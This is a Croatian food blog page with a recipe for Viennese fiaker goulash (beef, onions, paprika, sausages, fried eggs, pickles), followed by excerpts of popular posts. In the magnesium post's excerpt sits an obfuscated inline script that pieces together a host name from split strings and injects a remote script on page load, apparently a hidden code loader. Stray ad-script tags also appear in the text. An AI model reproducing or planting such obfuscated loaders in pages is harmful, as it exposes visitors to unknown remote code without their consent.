FIJAKER GULAŠ - JELO S BEČKIH ULICA


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>. Fijaker gulaš



Fijaker gulaš - jelo s bečkih ulica




Ovo rustikalno i obilno jelo i danas se jede u Beču, često nakon dugog dana, kasno navečer, tek uz komad kruha, da vrati snagu i zagrije iscrpljeni organizam. Nikada nije nestalo s menija zalogajnica i gostionica, a napravite li ga prema ovome receptu dobit ćete baš onu pravu, tradicionalnu bečku verziju.




Fijaker gulaš 


Sastojci:

  • 750 g žilavije junetine (npr. lopatica)
  • 500 g luka
  • 2 žlice mljevene slatke paprike
  • ½ žlice octa
  • 1 ½ žlice koncentrata rajčice
  • 2 češnja češnjaka, zdrobljena
  • kumin u prahu, po ukusu
  • mažuran, po ukusu
  • sol, po ukusu
  • papar, po ukusu
  • 4 žlice maslaca, plus za prženje
  • 2 para frankfurtskih kobasica (ili debrecinki)
  • 4 jaja
  • 4 kisela krastavca
  • 1 crvena paprika, narezana na trakice



Priprema:

  1. Meso narežite na kockice veličine zalogaja, a luk na kolutove.
  2. U velikom loncu zagrijte maslac i dinstajete luk na laganoj vatri uz neprestano miješanje.
  3. Pospite mljevenom paprikom i prelijte s malo octa te umiješajte pire od rajčice. Dodajte meso, kratko promiješajte i dodajte češnjak, kim, sol, papar i malo mažurana. Ulijte malo vode, tek toliko da prekrije meso, i kuhajte 2-3 sata, dok meso posve ne omekša. Povremeno promiješajte i stalno dolijevajte vode (svaki put pričekati da prokuha).
  4. Kad se meso raskuha, ulijte malo više vode i zadnji put zakuhajte pa ostavite da krčka još 10 do 15 minuta. Na kraju opet začiniti po potrebi.
  5. Kad je gulaš pri kraju, skuhajte kobasice i na maslacu ispecite jaja na oko.
  6. Gulaš poslužite u dubokim tanjurima, a u svaki stavite i kobasicu i jaje na oko.
  7. Dekorirajte tanko narezanim kiselim krastavcima i trakicama crvene paprike.



Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više